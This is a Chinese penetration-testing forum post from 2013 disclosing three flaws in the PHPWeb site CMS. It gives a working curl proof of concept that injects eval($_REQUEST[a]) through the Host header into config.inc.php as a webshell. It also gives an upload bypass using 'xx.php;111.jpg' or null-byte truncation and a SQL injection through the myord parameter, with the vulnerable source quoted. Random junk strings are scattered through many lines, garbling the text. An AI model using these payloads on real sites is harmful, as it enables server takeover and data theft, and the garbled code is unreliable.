中国网络渗透测试联盟

标题: phpweb成品网站最新版(注入、上传、写shell) [打印本页]

作者: admin    时间: 2013-1-4 19:45
标题: phpweb成品网站最新版(注入、上传、写shell)
注入:
  D- d% B8 w6 U) N& ^: h; A- M! C. e
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码  I% y2 {7 ?: [$ T9 v
, V5 H1 S& X1 ]3 i) E* w
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件, C8 S5 J4 D; _' i
鸡肋2: 有一定安全常识的站长都会删掉 install 目录$ f+ l* t% S; X
) Z" y  m* M1 u4 K3 [
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
% i3 @- i: k: l' w. y% w% |9 d' ^ 7 Y: Z; }& O) m+ N! y1 G+ ?
分析:- U9 J1 x# V+ G  {9 ?' o; g; y

3 W/ G, m/ I6 e/ d! L7 j ) y2 I) d; O) m; O, S# O- J
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
! e8 E" w+ T# h  I  v3 Z' ` ; Y, O; Y+ t% w7 P
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);+ B% J6 k% f% k# ^+ W  E
                                            $filestr=str_replace(" ","",$filestr);- `" o) k8 D- N+ X/ r
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);* Y9 a- E2 E1 F7 `8 k  m& _' ~& P
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);9 F/ S# U% Z7 ^+ y* s
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);/ g$ \9 b" e4 Y/ R$ O
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);6 Y3 a4 N% Q3 g6 z; e
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
; j' y; r) M+ J. U8 u  g                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
: ^0 {2 ^  q$ y                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
; }3 ?" t5 i8 E! s2 F5 e$ Y* c
! s! y; c. \1 Z1 x  P- [/ o- S                                            fwrite(fopen($ConFile,"w"),$filestr,30000);7 q8 w5 ^: \  c
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^! p" G# j4 S# s2 K) C* i

+ j: r: s& R8 T# O+ C6 npoc:
/ t% y4 ]+ n; c3 }/ s
2 [9 ^6 Z7 N- Q: |3 x6 f& E?- O/ E5 J- I8 s0 s: G
1$ s4 ]) S+ W% a  u
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
4 c4 i1 j2 q4 A* Y. |4 pshell地址: /config.inc.php
4 Z3 a8 B- r7 E跟之前的 phpcms一样 需要远程数据库
% z/ h0 V) S! F/ ^: `
9 O# \. Q/ q( i+ h. }. M- x——————————————————–
! R6 n( b/ ^  B上传漏洞(需要进后台):5 V$ y0 [9 @0 }+ f. f9 e
漏洞文件: /kedit/upload_cgi/upload.php
5 U; P% l( I5 a8 G( D# V这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
! ?/ n. s1 c  j7 f: [$ Y" x7 r ( O( ]6 \# R; H5 `& p% s" X' _2 ~  A6 ^

0 E4 i& @2 O# H2 \; D/ z- H<?php1 P' \1 _8 ^. V" F6 ?' S+ y
    define("ROOTPATH", "../../");5 J' e/ m3 e7 A3 e+ C; G/ G2 F7 D
    include(ROOTPATH."includes/admin.inc.php");
1 h6 P, P0 P, F    NeedAuth(0);7 P7 p6 o1 s5 y
" z1 y+ \% N6 M6 I6 c* H4 E% h
    $dt=date("Ymd",time());8 a9 X! C; r- T1 O2 ?8 q% _5 ]% C) @0 N6 Z
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){) k* U' a+ w' N. h9 Y4 y; _  T
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
1 t4 {! E; k: \0 v7 ~) @) p! V    }, q, {7 }+ {2 I% |

( Z& n: H+ p+ [3 K& V" `    //文件保存目录路径
8 u2 t: A% I: s& d2 m' L: u    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
4 o3 e) U3 n7 q) G  j5 z- `7 T    echo $save_path;0 x9 E& e$ }" i- T: x4 a
    //文件保存目录URL5 q& o3 X2 [% a
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
. _* J* ]) w; t* U6 B! m
4 C( P" [5 j, A& d    //定义允许上传的文件扩展名' K" h( j4 m, X0 g' `2 }: P
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
$ X9 i3 V2 `! x2 k; x, X* E
' h1 O0 J* \: t( q; I, b    //最大文件大小' V% M- {4 s3 X' y5 h
    $max_size = 1000000;
8 [  M3 d4 L1 F' I# r 7 h0 {- s% W$ W  \/ {
    //更改目录权限
3 e1 \% r( g9 ], |, n) y2 |    @mkdir($save_path, 0777);/ K+ W' ]- x! O- K
% X5 ?0 v8 j6 {5 ^1 g
    //文件的全部路径) L7 [# X+ h% P- m, C) @
    $file_path = $save_path.$_POST['fileName'];   //保存文件名% I* s3 K( Z% G0 M+ w
; t0 c$ p4 L3 \4 ?3 W) V6 v7 d
    //文件URL
; Z4 o( I1 P$ \7 G5 f    $file_url = $save_url.$_POST['fileName'];3 V. ?2 I  H& z
//有上传文件时
" j0 d. r7 S( N7 f4 K2 Q    if (empty($_FILES) === false) {
: h' `" n' C5 V$ K2 L
/ t) x; B* h4 H( z) t7 U! `' a            //原文件名$ a8 ?# g! U; F. l; u
            $file_name = $_FILES['fileData']['name'];& ~( y: K7 j# t' I1 p# J' Q' p
            //服务器上临时文件名, ?3 j: ~4 F* ^3 O8 [
            $tmp_name = $_FILES['fileData']['tmp_name'];. t8 `( w" V$ U) ]  k: n
            //文件大小; ?$ j% B% S! K& ^
            $file_size = $_FILES['fileData']['size'];
3 W3 J9 ?% F5 ]) `1 {            //检查目录8 V* a, j. J7 Q3 u4 r
            if (@is_dir($save_path) === false) {
' s4 j* E9 `4 p6 s; C5 {2 p                    alert("上传目录不存在。");
1 {; g2 {1 M. k' G4 K$ f6 }% B0 o9 T            }
. D: ?# U0 \. p! A# |            //检查目录写权限
+ Y3 b) f3 F5 p2 U2 t* i            if (@is_writable($save_path) === false) {
" s4 a2 o; H7 J. z* F. m7 o                    alert("上传目录没有写权限。");3 C6 ]* b- H/ V
            }, j: s5 v0 @6 \
            //检查是否已上传
6 k, M- m/ ~* ?- {- v5 N4 d; {            if (@is_uploaded_file($tmp_name) === false) {
+ L3 n* n: Y' L                    alert("临时文件可能不是上传文件。");
* i" u" a" }8 T8 ]- e' u1 [+ n9 T            }, z; ^3 P' G9 H: ^7 J
            //检查文件大小& d  _- p/ J% r  r1 `1 ?
            if ($file_size > $max_size) {
* P5 A# X. x+ f$ z2 x6 A  m+ a                    alert("上传文件大小超过限制。");
1 P8 f9 C" v& o* H) Y9 K8 c  ?( h8 z            }
( y' G/ f0 n" b; B2 \5 l            //获得文件扩展名
0 j( R$ C$ k4 a; m# m, @" e            $temp_arr = explode(".", $_POST['fileName']);
+ K5 ?1 p, L2 h* P5 j% e            $file_ext = array_pop($temp_arr);
( h+ t5 \6 C$ q) K. Y- j$ G            $file_ext = trim($file_ext);
" h& p# k$ ~5 t            $file_ext = strtolower($file_ext);- q/ W0 y" K- D" H; C5 \

1 h+ P" y/ Z1 G, a( \            //检查扩展名   
' D% t: s% @* G/ o: X: l            if (in_array($file_ext, $ext_arr) === false) {     + m. Y+ F9 \& a- Z# S
                    alert("上传文件扩展名是不允许的扩展名。");1 S* `$ n/ T$ g  L+ p8 P7 ^
            }
- R$ M6 i, F1 F 0 J2 I0 ~/ T# K( B9 g& ~2 t
            //移动文件   + X$ }: l4 V0 u" ~
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^9 ^/ Q' L) \/ _, n+ s6 p
            if (move_uploaded_file($tmp_name, $file_path) === false) {1 ~+ t7 u+ {% i" v: y) ~" M
                    alert("上传文件失败。");
8 p3 i2 E, j. G4 C% Z4 T            }& q8 Y) K9 p# [6 y8 T7 ~

0 h4 ?9 a3 y( o  D# x            @chmod($file_path,0666);
+ o3 x+ \4 {3 _3 X' Q 7 Q, ^  X! B) }( G$ k
    ?>/ q2 C& U9 e* P2 k. S% t2 K) @7 Z
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
1 q! _% V, l/ {6 t, O" K: a 8 m4 Y; A# _2 X/ _& S
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过7 J) c3 W9 T& R3 G8 W0 t9 E

4 i- f; Y! z; ?% U——————————————————3 Q) Z3 _7 q) k3 y% t
注入漏洞:, _; c( U) Z5 K
漏洞文件:search/module/search.php
) Y+ S" v3 u1 E8 V9 F( S# v/search/index.php?key=1&myord=1 [sqlinjection]# K6 x9 @; B& i" ^! v& L: E" X6 e
( D/ e# ^3 ^2 ~1 D) k: Z  l
" Q+ t* E, h1 a. H- p8 g# I% J/ y8 k0 O
<?php
+ }0 }. P( X" W0 n) t4 @/ Y   //       ... 省略 n 行...
2 Z+ H6 x( [: T0 ^  N) S   //第18行:
( r" _2 \, [; s" @           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响, \8 n5 V, o6 J$ @8 W
           $page=htmlspecialchars($_GET["page"]);) m/ F  f, M/ y2 V' b* l3 ^2 [& S
           $myord=htmlspecialchars($_GET["myord"]);
! u0 j* t' M6 ~5 W3 O  A; i
& P8 P  }% C* L" t% B, G9 D   //       ... 省略 n 行..., k$ m  ~; k6 g  x
   $key,$myord 两个参数带入查询1 S: |, v; `+ A) G1 s5 v) X
   //第47行 $key:
, R: @# e$ V$ e , t3 o6 u7 f& r/ V6 g0 m
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..$ X! C& c% f! ^# p' m4 G

: {1 i; }5 o! C- `2 I   //第197行 $myord; e: F' V  c- \. B% [
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
2 p% C$ h3 [/ ]/ u1 ?3 {2 q . n* s6 U3 K. L. X1 [- b
   ?>) c& k0 s3 _9 e1 o# R





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2